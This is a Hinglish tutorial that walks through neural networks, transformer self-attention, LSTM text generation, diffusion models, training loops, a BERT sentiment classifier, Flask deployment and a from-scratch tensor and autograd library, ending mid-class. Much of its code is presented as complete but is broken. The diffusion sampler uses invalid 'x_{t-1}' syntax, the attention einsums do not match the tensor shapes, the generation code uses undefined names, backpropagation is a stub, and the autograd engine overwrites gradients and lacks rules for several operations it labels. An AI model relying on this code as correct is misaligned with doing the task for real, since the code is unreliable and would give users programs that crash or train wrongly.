AI Complete Guide

How AI Works - From Structure to Deployment

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1. AI KYA HAI AUR KAISE KAAM KARTA HAI

>> What is AI

WHAT:

AI (Artificial Intelligence) ek system hai jo human-like intelligence mimic karta hai. Ye data se seekhta hai, patterns recognize karta hai, aur predictions/decisions leta hai. Machine Learning aur Deep Learning iske main branches hain.

HOW IT WORKS:

* 1. Data Collection - Model train karne ke liye data chahiye
* 2. Data Preprocessing - Data clean karna, normalize karna
* 3. Model Architecture - Neural network structure define karna
* 4. Training - Data pe model learn karta hai (weights adjust)
* 5. Evaluation - Model performance check karna
* 6. Inference - Naye data pe predictions karna

>> AI Ka Structure

WHAT:

AI model ka internal structure kaisa hota hai

STRUCTURE:

```
AI Model Folder Structure:
my_ai_model/
|-- model/
|   |-- model.py           # Model architecture
|   |-- layers.py          # Custom layers
|   |-- config.py          # Hyperparameters
|-- data/
|   |-- dataset.py         # Data loading
|   |-- preprocessing.py   # Data cleaning
|-- training/
|   |-- train.py           # Training loop
|   |-- evaluate.py        # Evaluation
|   |-- fine_tune.py       # Fine-tuning
|-- inference/
|   |-- predict.py         # Prediction
|   |-- generate.py        # Generation
|-- weights/
|   |-- model_weights.h5   # Trained weights
|-- tokenizer/
|   |-- tokenizer.json     # Tokenizer file
|-- requirements.txt
|-- config.yaml
```

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2. NEURAL NETWORK KA STRUCTURE

>> Neuron and Layers

WHAT:

Neural network ka basic building block - neuron

CODE:

```
import numpy as np

class Neuron:
    """Single neuron - AI ka basic unit"""
    def __init__(self, input_size):
        # Weights - connections ka strength
        self.weights = np.random.randn(input_size) * 0.01
        # Bias - threshold adjustment
        self.bias = 0

    def forward(self, inputs):
        """Forward pass - input se output calculate"""
        # Weighted sum + bias
        z = np.dot(inputs, self.weights) + self.bias
        # Activation function - non-linearity add
        output = self.sigmoid(z)
        return output

    def sigmoid(self, x):
        """Sigmoid activation - values ko 0-1 me convert"""
        return 1 / (1 + np.exp(-x))

class Layer:
    """Multiple neurons ka group"""
    def __init__(self, input_size, output_size):
        self.neurons = [Neuron(input_size) for _ in range(output_size)]

    def forward(self, inputs):
        """Har neuron se forward pass"""
        return [neuron.forward(inputs) for neuron in self.neurons]
```

>> Neural Network Architecture

WHAT:

Complete neural network structure

CODE:

```
class NeuralNetwork:
    """Complete Neural Network - AI ka brain"""
    def __init__(self, layers_config):
        """
        layers_config: [input_size, hidden1_size, hidden2_size, output_size]
        Example: [784, 128, 64, 10] for digit recognition
        """
        self.layers = []
        for i in range(len(layers_config) - 1):
            layer = Layer(layers_config[i], layers_config[i+1])
            self.layers.append(layer)

    def forward(self, inputs):
        """Forward propagation - input se output tak"""
        current_input = inputs
        for layer in self.layers:
            current_input = layer.forward(current_input)
        return current_input
```

```
def train(self, X, y, epochs=100, learning_rate=0.01):
    """Training - weights update karna"""
    for epoch in range(epochs):
        total_loss = 0
        for x, target in zip(X, y):
            # Forward pass
            output = self.forward(x)
            # Calculate loss (error)
            loss = self.calculate_loss(output, target)
            total_loss += loss
            # Backward pass (weights update)
            self.backward(x, output, target, learning_rate)
        print(f"Epoch {epoch}: Loss = {total_loss/len(X)}")

def calculate_loss(self, output, target):
    """Loss function - model kitna galat hai"""
    return sum((o - t) ** 2 for o, t in zip(output, target))

def backward(self, inputs, output, target, lr):
    """Backpropagation - error ko wapas propagate karna"""
    # Gradient calculation and weight update
    # Ye mathematical operation hai jo error ko wapas layers me distribute karta hai
    pass
```

3. TRANSFORMER ARCHITECTURE (GPT JESA)

>> Transformer Block

WHAT:

Transformer - modern AI models ka backbone (GPT, BERT, etc.)

CODE:

```
import torch
import torch.nn as nn
import torch.nn.functional as F

class SelfAttention(nn.Module):
    """Self-Attention - text me relationships samajhna"""
    def __init__(self, embed_size, heads):
        super().__init__()
        self.embed_size = embed_size
        self.heads = heads
        self.head_dim = embed_size // heads

        # Query, Key, Value projections
        self.queries = nn.Linear(embed_size, embed_size)
        self.keys = nn.Linear(embed_size, embed_size)
        self.values = nn.Linear(embed_size, embed_size)
        self.fc_out = nn.Linear(embed_size, embed_size)

    def forward(self, x):
        """
        Self-attention kaam:
        1. Query: What am I looking for?
        2. Key: What do I have?
        3. Value: What information to pass?
        4. Attention scores: Query aur Key ka match
        """
        N, seq_length, embed_size = x.shape

        # Get Q, K, V
        queries = self.queries(x)
        keys = self.keys(x)
        values = self.values(x)

        # Calculate attention scores
        energy = torch.einsum("nqhd,nkhd->nhqk", queries, keys)
        attention = F.softmax(energy / (self.embed_size ** 0.5), dim=-1)

        # Apply attention to values
        out = torch.einsum("nhql,nlhd->nqhd", attention, values)
        out = out.reshape(N, seq_length, embed_size)
        return self.fc_out(out)

class TransformerBlock(nn.Module):
    """Complete Transformer block"""
    def __init__(self, embed_size, heads, dropout, forward_expansion):
        super().__init__()
        self.attention = SelfAttention(embed_size, heads)
        self.norm1 = nn.LayerNorm(embed_size)
        self.norm2 = nn.LayerNorm(embed_size)

        # Feed Forward Network
        self.feed_forward = nn.Sequential(
            nn.Linear(embed_size, forward_expansion * embed_size),
            nn.ReLU(),
            nn.Linear(forward_expansion * embed_size, embed_size)
        )
        self.dropout = nn.Dropout(dropout)
```

```
def forward(self, x):
    """
    Transformer block steps:
    1. Self-attention
    2. Add residual connection
    3. Layer normalization
    4. Feed forward network
    5. Add residual + normalize
    """
    attention = self.attention(x)
    x = self.dropout(self.norm1(attention + x))
    forward = self.feed_forward(x)
    out = self.dropout(self.norm2(forward + x))
    return out
```

4. TEXT GENERATION AI (GPT STYLE)

>> GPT-like Model

WHAT:

Text generation AI ka complete code

CODE:

```
import torch
import torch.nn as nn
import torch.optim as optim
from torch.utils.data import Dataset, DataLoader

class TextDataset(Dataset):
    """Text data ko model ke liye prepare karna"""
    def __init__(self, text, seq_length):
        self.seq_length = seq_length
        self.vocab = sorted(set(text))
        self.char_to_idx = {ch: i for i, ch in enumerate(self.vocab)}
        self.idx_to_char = {i: ch for i, ch in enumerate(self.vocab)}
        self.data = [self.char_to_idx[ch] for ch in text]

    def __len__(self):
        return len(self.data) - self.seq_length

    def __getitem__(self, idx):
        x = self.data[idx:idx + self.seq_length]
        y = self.data[idx + 1:idx + self.seq_length + 1]
        return torch.tensor(x), torch.tensor(y)

class TextGenerator(nn.Module):
    """Text generation model - GPT style"""
    def __init__(self, vocab_size, embed_size, hidden_size, num_layers):
        super().__init__()
        self.embedding = nn.Embedding(vocab_size, embed_size)
        self.lstm = nn.LSTM(embed_size, hidden_size, num_layers, batch_first=True)
        self.fc = nn.Linear(hidden_size, vocab_size)

    def forward(self, x, hidden=None):
        """
        Forward pass:
        1. Embedding - characters ko vectors me convert
        2. LSTM - sequence processing
        3. Linear - vocabulary size me output
        """
        x = self.embedding(x)
        out, hidden = self.lstm(x, hidden)
        out = self.fc(out)
        return out, hidden

    def generate(self, start_str, length, temperature=0.8):
        """
        Text generate karna:
        - start_str: starting text
        - length: kitne characters generate karne hain
        - temperature: randomness control (low = predictable, high = creative)
        """
        self.eval()
        chars = [ch for ch in start_str]
        hidden = None

        with torch.no_grad():
            for _ in range(length):
                # Convert to tensor
                x = torch.tensor([[char_to_idx[ch] for ch in chars[-seq_length:]]])
```

```
        output, hidden = self(x, hidden)

        # Get last output
        probs = F.softmax(output[0, -1] / temperature, dim=0)
        next_char_idx = torch.multinomial(probs, 1).item()
        next_char = idx_to_char[next_char_idx]
        chars.append(next_char)

    return ''.join(chars)
```

5. IMAGE GENERATION AI (DIFFUSION MODEL)

>> Diffusion Model

WHAT:

Image generation model (Stable Diffusion style)

CODE:

```
import torch
import torch.nn as nn
import torch.nn.functional as F

class DiffusionModel(nn.Module):
    """
    Diffusion Model kaise kaam karta hai:
    1. Forward process: Image me gradually noise add karna
    2. Reverse process: Noise se image reconstruct karna
    3. Training: Model noise predict karna seekhta hai
    """
    def __init__(self, unet):
        super().__init__()
        self.unet = unet
        self.noise_steps = 1000
        self.beta = torch.linspace(0.0001, 0.02, self.noise_steps)
        self.alpha = 1 - self.beta
        self.alpha_bar = torch.cumprod(self.alpha, dim=0)

    def forward_process(self, x0, t):
        """
        Forward diffusion: Image me noise add karna
        x0: original image
        t: noise level (0 to 1000)
        """
        noise = torch.randn_like(x0)
        alpha_bar_t = self.alpha_bar[t]
        x_t = torch.sqrt(alpha_bar_t) * x0 + torch.sqrt(1 - alpha_bar_t) * noise
        return x_t, noise

    def reverse_process(self, x_t, t, text_embedding=None):
        """
        Reverse diffusion: Noise se image banana
        Text conditioning: Text embedding ke according image generate
        """
        # Predict noise at time t
        predicted_noise = self.unet(x_t, t, text_embedding)

        # Calculate previous sample
        alpha_t = self.alpha[t]
        alpha_bar_t = self.alpha_bar[t]
        beta_t = self.beta[t]

        x_{t-1} = (1 / torch.sqrt(alpha_t)) * (
            x_t - (beta_t / torch.sqrt(1 - alpha_bar_t)) * predicted_noise
        )
        return x_{t-1}

    def generate(self, text_prompt, num_steps=1000):
        """
        Text prompt se image generate karna
        1. Random noise se start
        2. Step by step noise remove karna
        3. Text embedding guide karta hai generation
        """
        # Start with pure noise
        x_t = torch.randn(1, 3, 512, 512)
```

```
        # Reverse diffusion steps
        for t in range(num_steps, 0, -1):
            t_tensor = torch.tensor([t])
            x_t = self.reverse_process(x_t, t_tensor, text_prompt)

        return x_t
```

6. TRAINING AND FINE-TUNING PROCESS

>> Training Loop

WHAT:

Model training ka complete process

CODE:

```
def train_model(model, train_loader, val_loader, epochs, lr):
    """
    Training steps:
    1. Data load karo
    2. Forward pass (prediction)
    3. Calculate loss (error)
    4. Backward pass (gradients)
    5. Update weights
    6. Evaluate on validation
    """
    optimizer = optim.Adam(model.parameters(), lr=lr)
    criterion = nn.CrossEntropyLoss()

    for epoch in range(epochs):
        model.train()
        total_loss = 0

        for batch_idx, (data, targets) in enumerate(train_loader):
            # 1. Forward pass
            predictions = model(data)

            # 2. Calculate loss
            loss = criterion(predictions, targets)

            # 3. Backward pass
            optimizer.zero_grad()
            loss.backward()

            # 4. Update weights
            optimizer.step()

            total_loss += loss.item()

        # Validation
        val_loss, val_acc = evaluate(model, val_loader)
                    print(f"Epoch  {epoch}:  Train  Loss={total_loss/len(train_loader):.4f},  Val  Loss={val_loss:.4f},  Val
Acc={val_acc:.2f}%")

def fine_tune(model, new_data, new_labels, learning_rate=1e-5):
    """
    Fine-tuning: Pretrained model ko new task pe adapt karna
    - Lower learning rate use karte hain
    - Freeze some layers
    - New data pe train karte hain
    """
    # Freeze early layers (optional)
    for param in model.early_layers.parameters():
        param.requires_grad = False

    # Only train last layers
    optimizer = optim.Adam(model.final_layers.parameters(), lr=learning_rate)

    # Train on new data
    for epoch in range(5):
        for data, target in zip(new_data, new_labels):
            optimizer.zero_grad()
            output = model(data)
```

```
        loss = F.cross_entropy(output, target)
        loss.backward()
        optimizer.step()
```

7. DATA PREPROCESSING

>> Data Pipeline

WHAT:

AI ke liye data prepare karna

CODE:

```
import torch
from torch.utils.data import Dataset, DataLoader
import pandas as pd
import numpy as np
from sklearn.model_selection import train_test_split

class DataPreprocessor:
    """Data preprocessing ke steps"""

    def clean_text(self, text):
        """Text cleaning: special chars remove, lowercase, etc."""
        import re
        text = text.lower()
        text = re.sub(r'[^a-zA-Z0-9\s]', '', text)
        text = re.sub(r'\s+', ' ', text)
        return text.strip()

    def tokenize(self, text, tokenizer):
        """
        Tokenization: Text ko tokens me todna
        Example: 'Hello world' -> ['Hello', 'world']
        """
        return tokenizer.encode(text)

    def normalize_image(self, image):
        """Image normalization: 0-255 to 0-1 range"""
        return image / 255.0

    def augment_image(self, image):
        """
        Data Augmentation: Training data increase karna
        - Rotation
        - Flip
        - Zoom
        - Color jitter
        """
        import torchvision.transforms as transforms
        transform = transforms.Compose([
            transforms.RandomRotation(10),
            transforms.RandomHorizontalFlip(),
            transforms.ColorJitter(brightness=0.2, contrast=0.2),
        ])
        return transform(image)

    def create_dataloader(self, data, labels, batch_size=32):
        """Dataloader - batch me data provide karta hai"""
        dataset = torch.utils.data.TensorDataset(data, labels)
        return DataLoader(dataset, batch_size=batch_size, shuffle=True)
```

8. LIBRARIES EXPLANATION

>> Main AI Libraries

WHAT:

AI development ke liye important libraries

LIBRARIES:

* PyTorch (torch) - Deep learning framework, automatic differentiation, GPU support
* TensorFlow (tensorflow) - Google's deep learning framework, production ready
* Transformers (transformers) - Hugging Face library, pretrained models (GPT, BERT, etc.)
* Diffusers (diffusers) - Image generation models (Stable Diffusion)
* scikit-learn (sklearn) - Machine learning algorithms, preprocessing
* NumPy (numpy) - Numerical computations, arrays, matrices
* Pandas (pandas) - Data manipulation, CSV, DataFrame
* Matplotlib (matplotlib) - Plotting, visualization
* OpenCV (cv2) - Computer vision, image processing
* NLTK (nltk) - Natural Language Processing
* spaCy (spacy) - Advanced NLP
* Gradio (gradio) - Quick UI for ML models
* ONNX (onnx) - Model format conversion
* TensorBoard - Training visualization

>> How Libraries Work

WHAT:

AI libraries ke andar kya hota hai

EXPLANATION:

1. Automatic Differentiation: Libraries autograd provide karte hain jo gradients automatically calculate karta hai. Isse backpropagation manual implement nahi karna padta.

2. GPU Acceleration: CUDA support se models GPU pe run hote hain, jo CPU se 10-100x faster hote hain.

3. Pre-built Layers: Convolution, LSTM, Attention sab pre-built hain, direct use kar sakte ho.

4. Optimizers: Adam, SGD, RMSprop etc. ready-to-use hain.

5. Loss Functions: CrossEntropy, MSE, etc. built-in hain.

6. Model Zoo: Pretrained models available hain (ResNet, GPT, etc.).

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9. COMPLETE AI PROJECT EXAMPLE

>> Sentiment Analysis AI

WHAT:

Complete working AI project - sentiment analysis

CODE:

```
import torch
import torch.nn as nn
from transformers import AutoTokenizer, AutoModel
from torch.utils.data import Dataset, DataLoader

class SentimentDataset(Dataset):
    """Sentiment analysis dataset"""
    def __init__(self, texts, labels, tokenizer, max_length=128):
        self.texts = texts
        self.labels = labels
        self.tokenizer = tokenizer
        self.max_length = max_length

    def __len__(self):
        return len(self.texts)

    def __getitem__(self, idx):
        encoding = self.tokenizer(
            self.texts[idx],
            truncation=True,
            padding='max_length',
            max_length=self.max_length,
            return_tensors='pt'
        )
        return {
            'input_ids': encoding['input_ids'].squeeze(),
            'attention_mask': encoding['attention_mask'].squeeze(),
            'labels': torch.tensor(self.labels[idx], dtype=torch.long)
        }

class SentimentModel(nn.Module):
    """Sentiment analysis model using BERT"""
    def __init__(self, num_classes=3):
        super().__init__()
        # Load pretrained BERT
        self.bert = AutoModel.from_pretrained('bert-base-uncased')
        self.dropout = nn.Dropout(0.3)
        self.classifier = nn.Linear(self.bert.config.hidden_size, num_classes)

    def forward(self, input_ids, attention_mask):
        # BERT forward pass
        outputs = self.bert(input_ids=input_ids, attention_mask=attention_mask)
        pooled_output = outputs.pooler_output
        dropout_output = self.dropout(pooled_output)
        logits = self.classifier(dropout_output)
        return logits

def train_sentiment_model():
    """Complete training pipeline"""
    # Data (example)
    texts = ["I love this!", "This is terrible", "Okay product"]
    labels = [2, 0, 1]  # 2=positive, 1=neutral, 0=negative

    # Tokenizer
    tokenizer = AutoTokenizer.from_pretrained('bert-base-uncased')

    # Dataset
```

```
    dataset = SentimentDataset(texts, labels, tokenizer)
    dataloader = DataLoader(dataset, batch_size=2, shuffle=True)

    # Model
    model = SentimentModel(num_classes=3)
    optimizer = torch.optim.Adam(model.parameters(), lr=2e-5)
    criterion = nn.CrossEntropyLoss()

    # Training
    for epoch in range(3):
        total_loss = 0
        for batch in dataloader:
            optimizer.zero_grad()
            outputs = model(batch['input_ids'], batch['attention_mask'])
            loss = criterion(outputs, batch['labels'])
            loss.backward()
            optimizer.step()
            total_loss += loss.item()
        print(f"Epoch {epoch}: Loss = {total_loss/len(dataloader):.4f}")

    return model, tokenizer

def predict_sentiment(model, tokenizer, text):
    """New text ka sentiment predict karna"""
    model.eval()
    encoding = tokenizer(text, return_tensors='pt', truncation=True, padding=True)
    with torch.no_grad():
        outputs = model(encoding['input_ids'], encoding['attention_mask'])
        probs = torch.softmax(outputs, dim=1)
        sentiment = torch.argmax(probs, dim=1).item()
    sentiments = {0: 'Negative', 1: 'Neutral', 2: 'Positive'}
    return sentiments[sentiment], probs.numpy()
```

10. DEPLOYMENT AND INFERENCE

>> Model Deployment

WHAT:

Trained model ko production me deploy karna

CODE:

```
import torch
import json
from flask import Flask, request, jsonify

class ModelServer:
    """Flask server for model inference"""
    def __init__(self, model_path):
        self.model = torch.load(model_path)
        self.model.eval()
        app = Flask(__name__)

        @app.route('/predict', methods=['POST'])
        def predict():
            data = request.json
            text = data['text']
            result = self.predict(text)
            return jsonify(result)

        @app.route('/health', methods=['GET'])
        def health():
            return jsonify({'status': 'healthy'})

        app.run(host='0.0.0.0', port=5000)

    def predict(self, text):
        """Inference function"""
        # Preprocess
        inputs = self.preprocess(text)
        # Forward pass
        with torch.no_grad():
            outputs = self.model(inputs)
        # Postprocess
        result = self.postprocess(outputs)
        return result
```

AI Library Deep Dive

Build Your Own AI Library - Complete Guide

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1. AI LIBRARIES KYA HOTE HAIN AUR KAISE KAAM KARTE HAIN

>> What are AI Libraries

WHAT:

AI libraries (PyTorch, TensorFlow, JAX) pre-built code packages hain jo machine learning aur deep learning models banane me help karte hain. Ye libraries complex mathematical operations, automatic differentiation, GPU acceleration, aur neural network components provide karti hain.

CORE COMPONENTS:

* 1. Tensor Operations - Multi-dimensional arrays (like numpy but with GPU support)
* 2. Automatic Differentiation - Gradients automatically calculate karna
* 3. Neural Network Layers - Pre-built layers (Linear, Conv, LSTM, etc.)
* 4. Optimization Algorithms - Adam, SGD, etc.
* 5. Loss Functions - MSE, CrossEntropy, etc.
* 6. GPU Acceleration - CUDA support for fast computation

>> How Libraries Work Internally

WHAT:

AI libraries ke andar kya hota hai - internal working

INTERNAL WORKING:

* 1. Memory Management: Tensors ke liye memory allocate karna (CPU/GPU)
* 2. Computational Graph: Operations ka graph banana (static/dynamic)
* 3. Automatic Differentiation: Backpropagation ke liye gradients calculate karna
* 4. Kernel Optimization: GPU kernels write karna (CUDA)
* 5. Operator Overloading: +, -, * operators ko tensor operations se map karna

---

2. TENSOR - AI LIBRARY KA CORE BUILDING BLOCK

>> Tensor Implementation

WHAT:

Tensor - AI library ka most important component. Ye numpy array ki tarah hai but GPU support aur automatic differentiation ke saath

CODE:

```
import numpy as np
import math

class Tensor:
    """
    Tensor class - AI library ka core building block
    Ye numpy array ko wrap karta hai aur gradient tracking provide karta hai
    """
    def __init__(self, data, requires_grad=False, depends_on=None):
        """
        data: numpy array ya list
        requires_grad: gradient calculate karna hai ya nahi
        depends_on: is tensor kis operation se bana hai (computational graph ke liye)
        """
        if isinstance(data, list):
            self.data = np.array(data, dtype=np.float32)
        elif isinstance(data, np.ndarray):
            self.data = data.astype(np.float32)
        else:
            self.data = np.array([data], dtype=np.float32)

        self.requires_grad = requires_grad
        self.grad = None  # Gradient store hoga yahan
        self.depends_on = depends_on or []  # Parent tensors for backprop
        self.grad_fn = None  # Function that created this tensor

    def __add__(self, other):
        """Addition operator - Tensor + Tensor"""
        if not isinstance(other, Tensor):
            other = Tensor(other)

        result = Tensor(self.data + other.data, requires_grad=self.requires_grad or other.requires_grad)

        # Store operation for backpropagation
        if result.requires_grad:
            result.grad_fn = 'add'
            result.depends_on = [self, other]
        return result

    def __mul__(self, other):
        """Multiplication operator"""
        if not isinstance(other, Tensor):
            other = Tensor(other)

        result = Tensor(self.data * other.data, requires_grad=self.requires_grad or other.requires_grad)
        if result.requires_grad:
            result.grad_fn = 'mul'
            result.depends_on = [self, other]
        return result

    def __matmul__(self, other):
        """Matrix multiplication ( @ operator )"""
        if not isinstance(other, Tensor):
            other = Tensor(other)

        result = Tensor(self.data @ other.data, requires_grad=self.requires_grad or other.requires_grad)
        if result.requires_grad:
```

```
        result.grad_fn = 'matmul'
        result.depends_on = [self, other]
    return result

def sum(self):
    """Sum of all elements"""
    result = Tensor(np.sum(self.data), requires_grad=self.requires_grad)
    if result.requires_grad:
        result.grad_fn = 'sum'
        result.depends_on = [self]
    return result

def mean(self):
    """Mean of all elements"""
    result = Tensor(np.mean(self.data), requires_grad=self.requires_grad)
    if result.requires_grad:
        result.grad_fn = 'mean'
        result.depends_on = [self]
    return result

def reshape(self, *shape):
    """Change tensor shape"""
    result = Tensor(self.data.reshape(*shape), requires_grad=self.requires_grad)
    if result.requires_grad:
        result.grad_fn = 'reshape'
        result.depends_on = [self]
    return result

def transpose(self):
    """Transpose tensor"""
    result = Tensor(self.data.T, requires_grad=self.requires_grad)
    if result.requires_grad:
        result.grad_fn = 'transpose'
        result.depends_on = [self]
    return result

def __repr__(self):
    return f"Tensor(data={self.data}, requires_grad={self.requires_grad})"
```

3. AUTOGRAD - AUTOMATIC DIFFERENTIATION ENGINE

>> Autograd Implementation

WHAT:

Automatic Differentiation - gradients automatically calculate karna (backpropagation)

CODE:

```
class AutogradEngine:
    """
    Automatic Differentiation Engine
    Ye computational graph maintain karta hai aur backpropagation karta hai
    """
    @staticmethod
    def backward(tensor, grad=None):
        """
        Backpropagation - loss se lekar inputs tak gradients calculate karna

        Algorithm:
        1. Loss tensor ke gradient se start karo
        2. Graph me reverse order me traverse karo
        3. Har node pe gradient accumulate karo
        4. Chain rule apply karo
        """
        if grad is None:
            grad = np.ones_like(tensor.data)

        tensor.grad = grad

        # Apply chain rule based on operation
        if tensor.grad_fn == 'add':
            # For addition: gradient passes through unchanged
            a, b = tensor.depends_on
            if a.requires_grad:
                AutogradEngine.backward(a, grad)
            if b.requires_grad:
                AutogradEngine.backward(b, grad)

        elif tensor.grad_fn == 'mul':
            # For multiplication: gradient = other_tensor.data * grad
            a, b = tensor.depends_on
            if a.requires_grad:
                a_grad = b.data * grad
                AutogradEngine.backward(a, a_grad)
            if b.requires_grad:
                b_grad = a.data * grad
                AutogradEngine.backward(b, b_grad)

        elif tensor.grad_fn == 'matmul':
            # For matrix multiplication: gradients are matrix products
            a, b = tensor.depends_on
            if a.requires_grad:
                # dL/da = dL/dc * b.T
                a_grad = grad @ b.data.T
                AutogradEngine.backward(a, a_grad)
            if b.requires_grad:
                # dL/db = a.T * dL/dc
                b_grad = a.data.T @ grad
                AutogradEngine.backward(b, b_grad)

        elif tensor.grad_fn == 'sum':
            # For sum: gradient propagates as ones
            a = tensor.depends_on[0]
            if a.requires_grad:
                a_grad = np.ones_like(a.data) * grad
```

```
        AutogradEngine.backward(a, a_grad)

    elif tensor.grad_fn == 'mean':
        # For mean: gradient = grad / n
        a = tensor.depends_on[0]
        if a.requires_grad:
            n = a.data.size
            a_grad = (grad / n) * np.ones_like(a.data)
            AutogradEngine.backward(a, a_grad)

    # Reset for next computation
    tensor.grad_fn = None
    tensor.depends_on = []
```

4. NEURAL NETWORK LAYERS

>> Linear Layer Implementation

WHAT:

Neural network ka Linear (Dense) layer - fully connected layer

CODE:

```
class Linear:
    """
    Linear (Dense) Layer: y = x @ W + b
    Input: (batch_size, in_features)
    Output: (batch_size, out_features)
    """
    def __init__(self, in_features, out_features, bias=True):
        """
        Initialize weights and biases
        He initialization - variance = 2 / fan_in
        """
        # Weights initialization (Xavier/He initialization)
        limit = math.sqrt(2.0 / in_features)
        self.weight = Tensor(
            np.random.uniform(-limit, limit, (in_features, out_features))
        )
        self.weight.requires_grad = True

        # Bias initialization
        if bias:
            self.bias = Tensor(np.zeros(out_features))
            self.bias.requires_grad = True
        else:
            self.bias = None

    def forward(self, x):
        """
        Forward pass: x @ W + b
        x: input tensor (batch_size, in_features)
        """
        out = x @ self.weight
        if self.bias is not None:
            out = out + self.bias
        return out

    def parameters(self):
        """Return trainable parameters"""
        params = [self.weight]
        if self.bias is not None:
            params.append(self.bias)
        return params
```

>> Activation Functions

WHAT:

Activation functions - non-linearity add karna

CODE:

```
class ReLU:
    """
    ReLU (Rectified Linear Unit): f(x) = max(0, x)
    Most popular activation function
    """
    def forward(self, x):
        """Forward pass: keep positive, zero out negative"""
        result = Tensor(np.maximum(0, x.data), requires_grad=x.requires_grad)
```

```
        if result.requires_grad:
            result.grad_fn = 'relu'
            result.depends_on = [x]
        return result

class Sigmoid:
    """
    Sigmoid: f(x) = 1 / (1 + e^(-x))
    Output range: (0, 1) - good for probabilities
    """
    def forward(self, x):
        """Sigmoid activation"""
        result = Tensor(1 / (1 + np.exp(-x.data)), requires_grad=x.requires_grad)
        if result.requires_grad:
            result.grad_fn = 'sigmoid'
            result.depends_on = [x]
        return result

class Tanh:
    """
    Tanh: f(x) = (e^x - e^(-x)) / (e^x + e^(-x))
    Output range: (-1, 1) - zero centered
    """
    def forward(self, x):
        result = Tensor(np.tanh(x.data), requires_grad=x.requires_grad)
        if result.requires_grad:
            result.grad_fn = 'tanh'
            result.depends_on = [x]
        return result

class Softmax:
    """
    Softmax: f(x_i) = e^x_i / sum(e^x_j)
    Output: probability distribution (sum = 1)
    Used for multi-class classification
    """
    def forward(self, x):
        exp_x = np.exp(x.data - np.max(x.data, axis=-1, keepdims=True))
        result = Tensor(exp_x / np.sum(exp_x, axis=-1, keepdims=True), requires_grad=x.requires_grad)
        if result.requires_grad:
            result.grad_fn = 'softmax'
            result.depends_on = [x]
        return result
```

5. LOSS FUNCTIONS

>> Loss Functions Implementation

WHAT:

Loss functions - model ki error measure karna

CODE:

```
class MSELoss:
    """
    Mean Squared Error Loss: (1/n) * sum((y_pred - y_true)^2)
    Used for regression problems
    """
    def forward(self, pred, target):
        """
        pred: model predictions
        target: actual values
        """
        diff = pred - target
        loss = (diff * diff).mean()
        if loss.requires_grad:
            loss.grad_fn = 'mse'
            loss.depends_on = [pred, target]
        return loss

class CrossEntropyLoss:
    """
    Cross Entropy Loss: -sum(y_true * log(y_pred))
    Used for classification problems
    """
    def forward(self, pred, target):
        """
        pred: logits (before softmax)
        target: class indices
        """
        # Apply softmax to predictions
        exp_pred = np.exp(pred.data - np.max(pred.data, axis=-1, keepdims=True))
        softmax_pred = exp_pred / np.sum(exp_pred, axis=-1, keepdims=True)

        # Cross entropy calculation
        batch_size = pred.data.shape[0]
        loss = 0
        for i in range(batch_size):
            loss -= np.log(softmax_pred[i, int(target.data[i])] + 1e-8)
        loss = loss / batch_size

        result = Tensor(loss, requires_grad=pred.requires_grad)
        if result.requires_grad:
            result.grad_fn = 'cross_entropy'
            result.depends_on = [pred, target]
        return result
```

6. OPTIMIZERS

>> Optimizer Implementation

WHAT:

Optimizers - model weights update karna (Gradient Descent)

CODE:

```
class SGD:
    """
    Stochastic Gradient Descent Optimizer
    weight = weight - learning_rate * gradient
    """
    def __init__(self, parameters, learning_rate=0.01):
        self.parameters = parameters
        self.lr = learning_rate

    def step(self):
        """Update weights using gradients"""
        for param in self.parameters:
            if param.grad is not None:
                param.data -= self.lr * param.grad

    def zero_grad(self):
        """Reset gradients to zero"""
        for param in self.parameters:
            param.grad = None

class Adam:
    """
    Adam Optimizer - Adaptive Moment Estimation
    Combines momentum and RMSprop
    """
    def __init__(self, parameters, learning_rate=0.001, beta1=0.9, beta2=0.999, epsilon=1e-8):
        self.parameters = parameters
        self.lr = learning_rate
        self.beta1 = beta1
        self.beta2 = beta2
        self.epsilon = epsilon
        self.t = 0
        self.m = [np.zeros_like(p.data) for p in parameters]  # First moment
        self.v = [np.zeros_like(p.data) for p in parameters]  # Second moment

    def step(self):
        """
        Adam update rule:
        m_t = beta1 * m_{t-1} + (1 - beta1) * g
        v_t = beta2 * v_{t-1} + (1 - beta2) * g^2
        m_hat = m_t / (1 - beta1^t)
        v_hat = v_t / (1 - beta2^t)
        theta = theta - lr * m_hat / (sqrt(v_hat) + epsilon)
        """
        self.t += 1

        for i, param in enumerate(self.parameters):
            if param.grad is not None:
                grad = param.grad

                # Update biased moments
                self.m[i] = self.beta1 * self.m[i] + (1 - self.beta1) * grad
                self.v[i] = self.beta2 * self.v[i] + (1 - self.beta2) * (grad * grad)

                # Bias correction
                m_hat = self.m[i] / (1 - self.beta1 ** self.t)
                v_hat = self.v[i] / (1 - self.beta2 ** self.t)
```

```
        # Update weights
        param.data -= self.lr * m_hat / (np.sqrt(v_hat) + self.epsilon)
```

7. COMPLETE MODEL IMPLEMENTATION

>> Neural Network Class

WHAT:

Complete neural network model - multiple layers ka combination

CODE:

```
class NeuralNetwork:
    """
    Complete Neural Network Model
    Sequential container jo layers ko stack karta hai
    """
    def __init__(self, layers):
        """
        layers: list of layers (Linear, ReLU, etc.)
        """
        self.layers = layers

    def forward(self, x):
        """Forward pass through all layers"""
        for layer in self.layers:
            x = layer.forward(x)
        return x

    def parameters(self):
        """Collect all trainable parameters"""
        params = []
        for layer in self.layers:
            if hasattr(layer, 'parameters'):
                params.extend(layer.parameters())
        return params

    def train(self, X, y, loss_fn, optimizer, epochs=100):
        """
        Complete training loop
        """
        for epoch in range(epochs):
            total_loss = 0

            for i in range(len(X)):
                # Forward pass
                pred = self.forward(X[i])
                loss = loss_fn.forward(pred, y[i])
                total_loss += loss.data

                # Backward pass
                AutogradEngine.backward(loss)

                # Update weights
                optimizer.step()
                optimizer.zero_grad()

            if epoch % 10 == 0:
                print(f"Epoch {epoch}: Loss = {total_loss/len(X):.4f}")
```

8. HOW TO BUILD YOUR OWN AI LIBRARY - COMPLETE EXAMPLE

>> Complete Library Code

WHAT:

Complete working AI library - from scratch

CODE:

```
import numpy as np
import math

# ============== TENSOR CLASS ==============
class Tensor:
    def __init__(self, data, requires_grad=False, depends_on=None, grad_fn=None):
        self.data = np.array(data, dtype=np.float32) if not isinstance(data, np.ndarray) else data.astype(np.float32)
        self.requires_grad = requires_grad
        self.grad = None
        self.depends_on = depends_on or []
        self.grad_fn = grad_fn

    def __add__(self, other):
        if not isinstance(other, Tensor):
            other = Tensor(other)
        result = Tensor(self.data + other.data, requires_grad=self.requires_grad or other.requires_grad)
        if result.requires_grad:
            result.grad_fn = 'add'
            result.depends_on = [self, other]
        return result

